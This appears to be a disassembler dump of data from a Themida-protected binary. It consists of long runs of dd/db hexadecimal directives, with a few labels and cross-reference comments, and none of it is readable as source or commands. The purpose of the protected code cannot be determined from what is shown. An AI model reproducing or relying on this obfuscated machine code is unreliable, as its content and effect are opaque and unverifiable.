0E9D8BA7Fh dd 250A89BBh, 0E6375645h, 0CB291693h, 0E1465B5Bh, 0D02C4571h dd 0EE593660h, 0DB4F943Bh, 3DC08934h, 0C39DBD2Eh, 0BBh dd 57C724D7h, 56C62A87h dd 82C77E60h, 691086F2h, 99937758h, 7CBA2A88h, 86F6C5F9h dd 0EC78FB10h, 83421C8Ch, 1086F65Eh, 52230C1Dh, 0A8EE5EDDh dd 0FB6BCDE6h, 7228C2BBh, 5C09ECEh, 169BF039h, 1C8A6B3Ch dd 49B1105Ch, 0F04153AAh, 331C33BEh, 929F982Bh, 9C9E108Bh dd 0AA40E029h, 95BA8B1Ch, 9A0A68C9h, 0EE1C93C4h, 94410DBBh dd 2A8897F6h, 5900E3BAh, 0D1E3B1C0h, 34E71h, 0EC5CDA00h dd 27971A09h, 0F464E14Eh, 3EAE1221h, 0FA6AC857h, 940F7C1Bh dd 60CFA616h, 99866FDFh, 55CAAB1Bh, 448F66D6h, 5466AB1Ah dd 8405169Eh, 56C624B8h, 0A31370BFh, 0C42B88D2h, 247EB654h dd 525F57C7h, 940465F1h, 0F382ADA2h, 78E84A67h, 5244B43Bh dd 202A8D7Dh, 0E1FD2DD1h, 0F20148FBh, 0DBEC1086h, 262F2D2Fh dd 22633EC2h, 7A29C195h, 169B6396h, 5EDCD5D7h, 6ED7A8EEh dd 1693502Bh, 0CA76E645h, 50143D08h, 0C6D71693h, 8D38C6E9h dd 0B2A9CAA8h, 6C9F1C5h, 8EFE8181h, 5217F3A9h, 367B617Dh dd 0FAA941B1h, 0BCD7216Ah, 4EDCDAEBh, 0DC2482AAh, 0F9A6A285h dd 0CC3D08D6h, 8FA6FF52h, 3093A0BEh, 332935C0h, 0FE5A4990h dd 876334A6h, 0E4B9298Ah, 7741EF7h, 707E06F0h, 0B8000002h dd 0F827CE3Eh, 0B76C0979h, 2FC636h, 0AE851080h, 6239DC4Ch dd 84F47629h, 4DBD42F1h, 89F97BA8h, 44B437ECh, 8D3826B1h dd 169E5544h, 4FD66627h, 0F293B68Dh, 495A1086h, 0AB1370A1h dd 843CE7EDh, 80E21B0h, 1B8BED46h, 4575496Fh, 44B6CA79h dd 6637169Bh, 766CB8Fh, 50C4F397h, 233E1045h, 36AB4BDFh dd 7F5046B6h, 4000BA50h, 130373F4h, 0C4577A49h, 5161693h dd 0F839052Ah, 350A0C7Ch, 0DC44FF55h, 0A1108ECDh, 63500E90h dd 0C4276CDCh, 7D6D6254h, 3F5EE31Eh, 78C474C1h, 0BE8F87F7h dd 0A6F6CD91h, 0A7DE24B4h, 661AA096h, 0AC9D2836h, 0AFD852B2h dd 0C73C09Eh, 0ECDB49A4h, 745B7542h, 1073C096h, 9AB52584h dd 57C724FBh, 64EC7C6h, 0A22214E9h, 197h, 30C53591h, 670E7E03h dd 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h, 0EA4DE2B3h dd 28849B7Ah, 0E546DDB8h, 2737A075h, 9E5A759Ch, 0C577F816h dd 5F57C724h, 0E9F525D9h, 9C032A5Ah, 0FB9AAB16h, 0F09061B2h dd 0FEE0FEC0h, 93E20247h, 0FFD8E916h, 0B113B92h, 0E5C0AA82h dd 108E747Dh, 0DC05C09Eh, 9F1CAC6Bh, 0EBBCDC8Eh, 47C9B013h dd 0CA6EC553h, 999AC49Ah, 9E6FA717h, 9FFDD1ECh, 0AF80D381h dd 0F13D0167h, 1BF42292h, 0AE9B2A34h, 0ADDDADC9h, 848FFF80h dd 817EB828h, 20A390AEh, 8BA41494h, 46B635EAh, 0A1A7B2B7h dd 0AB072DECh, 0E7h, 0C055C541h, 0F79E0E73h, 0B85DCD28h dd 95056Bh, 0B65FCF33h, 73F7AAE1h, 3ABD7203h, 78F42BCAh dd 35B66D08h, 0B7A730C5h, 9E5BC50Ch, 55E7A816h, 5F57C724h dd 0E9F525D9h, 9BFBAE5Ah, 348FCD16h, 1693FBEDh, 0EBCBBF90h dd 0CB6B3BDAh, 0F6EC39Bh, 0BD920283h, 98086879h, 5B81D3B7h dd 8961D156h, 8A86BE1Ah, 46FDBF10h, 1CAB5503h, 345DE8EAh dd 0B71CAB55h, 0D8E6C9E6h, 551A3F06h, 0D0E11CABh, 84E7FC3Ah dd 51B28114h, 0EEE7B5E1h, 62C680DBh, 0F083E5F2h, 0C0A7AFEh dd 13B1C33h, 9982A8FAh, 0D05C4723h, 45201125h, 0D903EFDEh dd 64C1276Ah, 5BD9C637h, 0E526C4EBh, 0DB7F1686h, 0C11F4201h dd 0CDDE3764h, 1F8FEC1Dh, 36A60A17h, 29940500h, 0C8AD1D9Eh dd 2E68D85Bh, 0AC6h, 6D2FE200h, 3F77E744h, 24789C4Eh, 475C5ACAh dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E68956h, 4C6h, 4EE8300h dd 8B243487h, 89572424h, 4C781E7h, 83000000h, 3C8704EFh dd 3C895C24h, 3D1B6824h, 34890000h, 9EB46824h, 3C8B0618h dd 4C48324h, 172668h, 24248900h, 4240481h, 5E000000h, 4EC81h dd 3C890000h, 242C8124h, 0AE54AB1h, 8108468Fh, 4AB10846h dd 34FF0AE5h, 0C4815E24h, 4, 5F2434FFh, 0E904C483h, 0FFFCD3B2h dd 0E7CE8469h, 11F4F7F9h, 18AA29B8h, 0FFC50306h, 6CE546E0h dd 1C2E6516h, 26E7AF74h, 0FD1AFC04h, 267CA15h, 0C9DF887Ah dd 5D11C07Ah, 8F4FEB69h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh dd 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh dd 1BCE17E6h, 0DB6734DFh, 9D0000A6h, 0BA9F0042h, 0DC80h dd 1B540000h, 0FECCh, 0FBFE4Ch, 0B4870000h, 202352DDh dd 9E019ED9h, 0BAE97C80h, 89000013h, 1526D19Dh, 0B5BD8306h dd 6152Dh, 73850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D6573DC3h, 0B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 14FCC170h, 1D958B2Fh, 0C2061515h, 6A0004h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 3175AAC3h dd 3860Fh, 8B660000h, 6AC08BC8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8307C353h, 1508F5BDh dd 9750006h, 3ADBD83h, 74000615h, 8B535013h, 4D0B8C0h dd 9D8D0000h, 617A872h, 585BD3FFh, 3ADBD83h, 74000615h dd 0B8535011h, 4D0h, 0A7BF9D8Dh, 0D3FF0617h, 6A585Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F5D53C3h, 0BE9C9B7h, 0D1000000h, 32374D21h, 0DD11F76Ch dd 0E860A7DEh, 0Eh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh dd 14E81FA1h, 0C9000000h, 3518A3Ch, 0ECB36F0Ah, 1D293DF0h dd 859ED0FCh, 5BBF5E03h, 68A0F5Fh, 8B000000h, 1510C995h dd 0C08B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 2EC35747h, 0A62C7B09h, 8D69039Eh, 18AB1385h, 71B58906h dd 90061529h, 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh dd 5F0D68A9h, 32EBDB5h, 8B665679h, 505A5FD0h, 13E8h, 42C43400h dd 0DE8A2365h, 7E18BB76h, 83D3C892h, 9CFB637Dh, 11E8h db 0 byte_5B4711 db 41h, 67h, 85h ; DATA XREF: Themida_:0057A868o dd 0BE197502h, 0D00E5D98h, 406011F0h, 61607D8Ah, 0F905F5Ah dd 1C84h, 10E800h, 0B94D0000h, 0C9122A4h, 9F163741h, 0A231677Dh dd 9589156Bh, 6150E39h, 0D195035Fh, 8D061528h, 18AAD085h dd 81666006h, 8BA4ADE7h, 150DB9BDh, 51506106h, 13E8h db 0 byte_5B4769 db 19h, 31h, 0BCh ; DATA XREF: Themida_:00579BB4o dd 0CEB7629Dh, 4A4DB230h, 7DD362A1h, 9B3FAB3h, 4895F5Ah dd 918D8924h, 0E9061505h, 12h, 10FABE6Bh, 625AF5F2h, 4594885Eh dd 21B31208h, 95FF9E9Fh, 6151101h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0B0C35646h, 7B15836Bh, 184B6A8h dd 152B1585h, 24448B06h, 0CA8B6604h, 1859589h, 85890615h dd 618AAFBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 58C35747h, 0FB118D7Bh, 8BF3511Ah, 0F082444h, 482h dd 63B96600h, 0F858984h, 890618ABh, 152755BDh, 81BD8306h dd 61504h, 131850Fh, 958B0000h, 61511F9h, 9C585C6h, 6A470615h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0FD36C351h, 0DCD4688Ah, 5DBD01E5h, 0F061510h dd 1F8Ah, 13E800h, 0B4720000h, 0CB5FE38Bh, 90C1BC55h, 0AE323942h dd 0F70187B9h, 71BD8B8Ch, 5F06151Ch, 4E8h, 9AA7D200h, 36BF66D4h dd 448B50DEh, 52500424h, 0BE8h, 1B4F3D00h, 0D4EAA441h dd 257EB556h, 5FFA8B66h, 8B66310Fh, 8B585AFAh, 50525000h dd 0B9310F52h, 43A94611h, 310F585Ah, 4489585Ah, 52500424h dd 3D4DBF66h, 585A310Fh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0E27A39BAh, 0B5FFC88Ah dd 6152811h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 5BC35646h, 3EB516EDh, 95297E4Dh, 6151799h, 8DFB8B66h dd 1872BC85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0D0FFC2E2h, 55C4F181h, 85893083h dd 6150481h, 83FE8B66h, 150E1DBDh, 850F0006h, 112h, 85C6D3B2h dd 61509C5h, 3830F47h, 66000000h, 4E8D38Bh, 0E2000000h dd 0E98A0FB5h, 0Eh, 2E90FD54h, 0C1FFC738h, 0BBFC0EF1h dd 0B650D37Eh, 24448B9Ch, 701ABA04h, 8B281Dh, 5E8h, 6EB1C800h dd 0BF660327h, 895A571Fh, 50042444h, 0FE952h, 0B5660000h dd 4770F80Eh, 413F4D39h, 0F1EB9060h, 0E9310FB0h, 0Dh, 2DA3C882h dd 0C30CAB44h, 0EE3548DDh, 58585A11h, 0E475EA81h, 0B5FF6BD2h dd 6152811h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0C35545h, 12D6BA54h, 11E8h, 0CD6A9C00h, 0FEC03223h dd 0DF188258h, 85ED38A4h, 0C580BE50h, 858D5A0Dh, 61872BCh dd 29950960h, 66061508h, 61D3CBBFh, 8BB5D0FFh, 0EC05B9BFh dd 1D85893Ch, 6A06150Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 283CC350h, 0DE9h, 595D8500h dd 4CC1E0AFh, 0D204B7B8h, 0BD83510Dh, 6150651h, 0F1850F00h dd 0E8000000h, 0Eh, 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 0C65A1476h dd 1509C585h, 9D895606h, 61504E5h, 2EEA7268h, 8112B6E6h dd 874B2434h, 6A3231h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0EE99DC3h, 0E4000000h, 0E9AEE235h dd 781020D2h, 1E974620h, 0FF9AB20Ch, 152811B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D55BEC4Ch, 7FF73ADDh, 25950960h, 0E906152Ah, 0Fh, 153276B7h dd 0A3D8AC74h, 7B70FCBDh, 61CFABA5h, 72BC858Dh, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 8859DCC3h, 0F140CD09h, 8E8h, 0B7ED6200h, 0ADC39C23h dd 0ADBD33D6h, 59061506h, 0B9CA8153h, 5A0360C0h, 8589D0FFh dd 6150651h, 9C585C6h, 6A6C0615h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B324C355h dd 0F1817B73h, 4DE19A3Dh, 5E9h, 9FB2FA00h, 4E8B539h, 83000000h dd 66DB0570h, 508076BAh, 71BF5353h, 5A39D691h, 24448B5Fh dd 50008B04h, 0FCE8B52h, 0B8666031h, 5950C758h, 89585A61h dd 0F042444h, 0A86h, 5E900h, 72A70000h, 5862D283h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 265A7117h dd 7E8h, 79165900h, 0B8117847h, 10E8h, 0EA812E00h, 0CEA08E4Fh dd 0B4F00D8Bh, 5BEBA2B1h, 5961605Ah, 85B5FF5Fh, 31061516h dd 150C298Dh, 38858D06h, 6A06153Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A714C352h dd 175D23C6h, 0B589604Eh, 6152B3Dh, 1371B529h, 0FF610615h dd 65BD8BD0h, 89061506h, 18AAFF85h, 9E806h, 16BC0000h dd 4AF3D46h, 5A815A0Ah, 0AB1BBD83h, 0F000618h, 0EF85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A352A0A2h, 0DD6E473Fh, 0E78166C5h, 85C6A5F6h dd 61509C5h, 68FE8B49h, 4F67B029h, 12E9h, 18ACB400h, 0A44A8ED9h dd 7FD81845h, 17A52FDBh, 81889126h, 79C02404h, 0DA803CADh dd 85B5FFDAh, 6A061516h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E489C355h, 0AF6FB615h dd 0ABE0F926h, 46D4BF66h, 0AE98D8Bh, 858D0615h, 6153B38h dd 48B0Fh, 0BF660000h, 0D0FF3828h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 80C35747h, 0BF329011h, 50AEEA81h dd 85893C6Fh, 618AB1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 28C35545h, 441502E5h, 0FDAE0E53h, 12E8046Ah dd 0F6000000h, 88DF4CEEh, 969294DFh, 0DF1AA112h, 0A5E26236h dd 0FBB70F2Ch, 359E6859h, 6656BD2Fh, 5A3348B9h, 62240481h dd 6A42D0DAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 2B46C356h, 152FD9BDh, 4E806h dd 0 dd 0B5530001h, 0B65059A0h, 24448B36h, 8BEE8A04h, 14E900h dd 91E00000h, 0EA9C7C22h, 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h dd 44892783h, 0BF660424h, 80586777h, 6A3DF6h, 33899589h dd 95FF0615h, 6151519h, 85295260h, 61517F1h, 0D2816659h dd 8961B1E5h, 18AB0B85h, 12E906h, 57780000h, 0A032C32Bh dd 6FD42942h, 27525CDDh, 79ADAC37h, 0C7D08B66h, 18AB0385h dd 6, 0C8E0F00h, 0F000000h, 684h, 5BD0900h, 6A06150Ah dd 5E900h, 6A7E0000h, 6801D5E7h, 6D892A57h, 95F9BA60h dd 50514A4Dh, 5A310F52h, 81615E58h, 2A572434h, 8D8B6D88h dd 6152445h, 0E279B990h, 56500296h, 8D8B905Ah, 6150C5Dh dd 8D030B6Ah, 6150719h, 0AAD8858Dh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 2379AAC3h dd 7E9h, 0FE9B3800h, 72D65A81h, 0A5BE6090h, 66799196h dd 5061FA8Bh, 1CBE6060h, 0E809EFB1h, 0Fh, 73B021Bh, 3F83F5B5h dd 125BE367h, 5A1BD834h, 0DE861h, 0BB520000h, 93B53D64h dd 0E5095046h, 53EF4D69h, 90615A58h, 95FFCE8Ah, 6150481h dd 4B97D281h, 0FE95F23h, 0D0000000h, 0A71E008Ch, 0E34E49E0h dd 0DDCFF130h, 0B58D217Ch, 618AAE2h, 19118D29h, 66500615h dd 896D49BAh, 0BD892434h, 6150235h, 2850Fh, 86B20000h dd 8D0F5350h, 6, 840Fh, 895A0000h, 0FFF82404h, 150E1D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 78D56CD8h, 0BFC2182Fh, 0EE9513Ah, 0E3000000h dd 529F4505h, 3554C198h, 59662652h, 0BD18BA2h, 2C850FC0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B7CCC356h, 0FAC59408h, 0FEB70FD5h dd 6CFE9h, 0FFFCF800h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0ED18204Ah, 825DC465h dd 0D08B66ABh, 0AB0BB58Bh, 0E9600618h, 14h, 554E2349h dd 0A34FB501h, 50342A6Ah, 72DACB7h, 7B818107h, 68B0Fh dd 958B0000h, 6152781h, 20468D61h, 0BE5BD29h, 46A0615h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7AC35545h dd 25559589h, 0E9900615h, 10h, 6FB2AA33h, 5673206Bh, 6D142ACAh dd 835ABC38h, 9E850h, 0DA9D0000h, 80222DA9h, 5FAC7527h dd 0FFCA8B90h, 18AB1B95h, 81666006h, 8B5431C7h, 152A858Dh dd 0C00B6106h, 82840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 96711BC3h, 8BD93A77h dd 15019DBDh, 8E906h, 20890000h, 99E28E21h, 0CDE93D3Fh dd 6A000005h, 3E85500h, 20000000h dword_5B5100 dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 628BC355h ; DATA XREF: Themida_:0057BF84o dd 5AC534E5h, 0FECEFD12h, 0DE9h, 0E9562000h, 9CDF80AAh dd 0D8818CFFh, 16BF34DEh, 0E97192A8h, 8, 4F9B87E3h, 5B4148A9h dd 207E80h, 57A840Fh, 8E80000h, 0D000000h, 723A1628h, 0FCABB38h dd 605AD7BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 5FC35242h, 71BDD6AFh, 0ADB52960h, 8D061511h, 6A2046h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0CDBBC1C3h, 99FE63EAh, 0D78166E3h, 85897EA4h, 618AB07h dd 3CDB589h, 0CFE90615h, 0E9000000h, 8, 0BB20E33Eh, 6FCC5412h dd 2731958Bh, 6A400615h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 607AC352h, 0C0E80D13h dd 0F6125D94h, 4DBD3352h, 5F061515h, 24048950h, 6AD3BF0Fh dd 50EE8A04h, 0EE9h, 7D8BDE00h, 5F9F683Bh, 55DA7197h, 89665275h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0A78BD8C3h, 95FFAF87h, 618AB1Bh, 1D8D8529h dd 0D88B0615h, 856574B9h, 6A5859h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 583743C3h, 0A18D8995h dd 0B061507h, 0B840FDBh, 0E9000000h, 43Ch, 18AD958Bh, 38800615h dd 3B850F00h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2CC9C356h, 38EF120Ch dd 8C0FBB8Eh, 6, 1DDD8D8Bh, 0D18B0615h, 2BE9h, 11E800h dd 0A7B80000h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h, 0FAF402Bh dd 4859CFB7h, 0A830Fh, 8B600000h, 800FD7h, 61000000h, 0AB07853Bh dd 820F0618h, 53h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0BDC35040h, 0F90E018h, 3880D2B7h, 28840F5Ch dd 0F000000h, 0E8Ch, 9D896000h, 61517E9h, 57D9D89h, 80610615h dd 850F2F38h, 0FFFFFF9Bh, 67E2D281h, 81661A6Ah, 4008F5E9h dd 0FBD83F9h, 618ABh, 17B840Fh, 0D6800000h, 4895078h, 0B5F68024h dd 3CFBF0Fh, 18AB0F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 47808230h, 0D8590C89h dd 0DE986h, 0E0BF0000h, 13F5C531h, 0AB7A6870h, 50342B2Ah dd 0A0C0BA50h, 895A7E6Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0CE0DD1C3h, 0A3C49CEh dd 8B601402h, 1519698Dh, 38E48006h, 60046A61h, 0ED9D8Bh dd 95330615h, 6151539h, 0F38A9061h, 95099050h, 615072Dh dd 0AB1B95FFh, 958B0618h, 6152E2Dh, 9E9D88Bh, 0E6000000h dd 0DA6AB3EDh, 0A56B1210h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FDB0BECh dd 5884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 82531856h, 25BE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C71EA03Eh, 69D01DF5h, 5E942h, 8BBD0000h, 0F53568Ah dd 83h, 0C600h, 291BD33h, 6A580615h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C1A2C350h dd 628EA13Eh, 1FD8D89h, 0DE80615h, 30000000h, 0FB420A7Ch dd 40F9C61Dh, 0F703AC6Dh, 489505Ah, 0CDB58924h, 6A061524h dd 0CC71B91Eh, 0D78B0672h, 82F4BF50h, 4893416h, 6890F24h dd 1000000h, 15251195h, 1B95FF06h, 0E90618ABh, 9, 1B797235h dd 800D1BDBh, 0D2816618h, 0D88B6B85h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 87C35545h, 0B9AF283Ch, 23568056h dd 152F818Dh, 10E95A06h, 0D8000000h, 0E0E4DE88h, 8A098FECh dd 9C3717FCh, 58358DD7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 6EC35242h, 0AC1BD89h, 0DB0B0615h, 5D840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F0B3D3C3h, 2CDB529h, 95890615h, 61510C9h dd 107E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 958040B6h, 508F5D0Bh, 5E958h, 0B60C0000h dd 502E48D0h, 489C5B5h, 0FBB5FF24h, 6A0618AAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0B1AFC355h, 923D1BABh, 0FFD78BC5h, 18AAFF95h, 8D8B6006h dd 6152281h, 7AD88166h, 0C00B6188h, 58850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0A553F1C3h, 0C88B6C33h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0C7CA8B26h dd 18AB0385h, 106h, 0E917B100h, 3Ch, 2C658D8Bh, 66610615h dd 8126F6BFh, 11CC6h, 0E9D48A00h, 0FFFFF9ADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1FC35646h, 39654041h dd 4AF58013h, 4E8h, 800000h, 0F525000h, 86BA6631h, 50585A6Ah dd 424448Bh, 0B11BF66h, 8E8008Bh, 78000000h, 53C31A7Dh dd 6610909Fh, 5A34BBB9h, 4244489h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AC58F826h dd 2B006A3Ch, 1517258Dh, 0BB5FF06h, 0E90618ABh, 0Dh, 0C2131F23h dd 513FDDB8h, 0C129A97Eh, 0FD95297Bh, 0FF061501h, 15065195h dd 0EE906h, 0F68B0000h, 1EC4107Ch, 3C1DE903h, 1324D99Eh dd 0AB03858Bh, 0BD8B0618h, 6153035h, 895F5250h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 2905BAC3h, 152D159Dh, 13858D06h, 8A0618ABh, 0EE8A50CEh dd 51240489h, 0FF7709BAh, 858D5F27h, 618AAD0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h, 0F926AF6Fh dd 50F8ABE0h, 0EE8h, 0FCEB6D00h, 2E8EB5E6h, 8D28BA4Eh dd 66D57650h, 5A3BC3BFh, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5DBCC350h dd 26CD95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0AA7D48C3h, 0BD09605Ch, 615300Dh dd 19658D8Bh, 1610615h, 1507099Dh, 81C08B06h, 0A25FD8F1h dd 0F5BD837Dh, 61508h, 0BD830975h, 61503ADh, 50137400h dd 0B8C08B53h, 4D0h, 0A8D99D8Dh, 0D3FF0617h, 0BD83585Bh dd 61503ADh, 50117400h, 4D0B853h, 9D8D0000h, 617A7D8h dd 585BD3FFh, 6AFAB70Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 269C357h, 0F5895F71h dd 0BD23C08Bh, 6152311h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 5A2E42EFh, 0AE92Dh, 28360000h dd 0E5F9E599h, 1DB34E19h, 6A0008C2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 77BEC351h dd 91B58952h, 29061503h, 151DB5BDh, 0FC08B06h, 858DD3B7h dd 618AB2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 32C35343h, 8922F180h, 15037585h, 75E906h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 1685B5FFh, 858D0615h, 61872BCh dd 8589D0FFh, 61514EDh, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 14ED95FFh, 32E90615h, 0C6000000h, 1509C585h dd 0DF685606h, 0FFA9C530h, 152811B5h, 0BC858D06h, 0FF061872h dd 198589D0h, 8D061530h, 151E7585h, 206A5006h, 0FF56056Ah dd 15301995h, 0C1C36106h, 39EB06E0h, 0E30000h, 0E302CCh dd 0E302E4h, 0 dd 44709CC9h, 75699099h, 21789806h, 4C739CC0h, 4D79DBB6h dd 7553F581h, 2151B9B2h, 51528135h, 49499BD8h, 457C90ACh dd 0E196956Fh, 2C1040B4h, 9C9EF3CEh, 2708FD18h, 0A21480F6h dd 341E58C6h, 3869F5BBh, 0E196A68Eh, 21194CD7h, 0A4987CB7h dd 0AC1BE0C8h, 36B76B70h, 7ACE0AF0h, 8CA07623h, 211BE0BEh dd 724DE2AAh, 21194CD7h, 0A4987CB7h, 0AC1BE0C8h, 36BA7870h dd 7ACE0AF0h, 721D9F23h, 211DF655h, 0E246D5DEh, 5417C34h dd 55974B3h, 211DEFDFh, 0E24EB6EDh, 7160EB60h, 4B5C03BDh dd 22F5A7BDh, 11DF5DEh, 0A8473635h, 0A019D1E3h, 3D19D19Fh dd 631DF5EDh, 0A43536A4h, 0D361CDD6h, 97AFDDF4h, 4BDD7E47h dd 22F5A76Fh, 11DF5B7h, 0A8473681h, 0A019D1B9h, 3D19D1B2h dd 631DF57Bh, 87F836EFh, 0D641053Bh, 0E7BAE4EEh, 34143032h dd 9C34A3DDh, 2708E810h, 738487Dh, 0A975F36Eh, 9BFC83D7h dd 13E888C9h, 0FB39C1EEh, 2E602B65h, 94E20E64h, 2708DDFCh dd 0EDC68DFh, 0A490F36Eh, 27058701h, 0C94EF5B4h, 211DF56Ch dd 7ADEAE97h, 2539A952h, 2539B16Ch, 211DF5EAh, 0CDDEA638h dd 98AD4C8Ch, 5CF1FBBFh, 9C942590h, 2708C1A6h, 2177F1B1h dd 211E1DBFh, 7B3DF5F6h, 7594AFB8h, 659CF199h, 2105F1FAh dd 735FF56Fh, 0DE902474h, 827528ACh, 4793DD80h, 259C227Dh dd 0F6BFA85Fh, 21171CCCh, 83CF5DEh, 0C4FC6966h, 27DD9F46h dd 211DF133h, 211F19EDh, 0D0564FF6h, 714DBF62h, 0C84FA5EFh dd 211DF5CCh, 66C8508Ah, 464F6933h, 0B1702987h, 957E5D13h dd 1012FB0Ch, 1012A72Bh, 7947ADE7h, 4DA2C4D1h, 7B60B3ABh dd 5597EEFh, 0A81D7EDFh, 0C819D1A9h, 211DF5E5h, 0C9333579h dd 267EDC56h, 2D7E35F3h, 0F78C5974h, 79A61B08h, 0C948F5B1h dd 211DF5EEh, 7CDEA8D6h, 253999F2h, 2539B13Ch, 211DF5C8h dd 16DEA02Ah, 2177E66Eh, 2BF47850h, 0F1E2F3F8h, 0FA4607Dh dd 0A494F36Eh, 27054A30h, 0D9963F55h, 211F396Ah, 0B0987CB7h dd 0A21BED64h, 0A494ED2Dh, 27054A63h, 0CDA43548h, 0D21DF5BFh dd 0E7969574h, 211DFA86h, 52AC32B7h, 0D6C254CAh, 0A0CB3EE7h dd 79BBBB34h, 701D9F1Ah, 211DF655h, 0E244D5DEh, 5517C36h dd 55974B3h, 211DEEDFh, 0E24CB4EDh, 0A57858D6h, 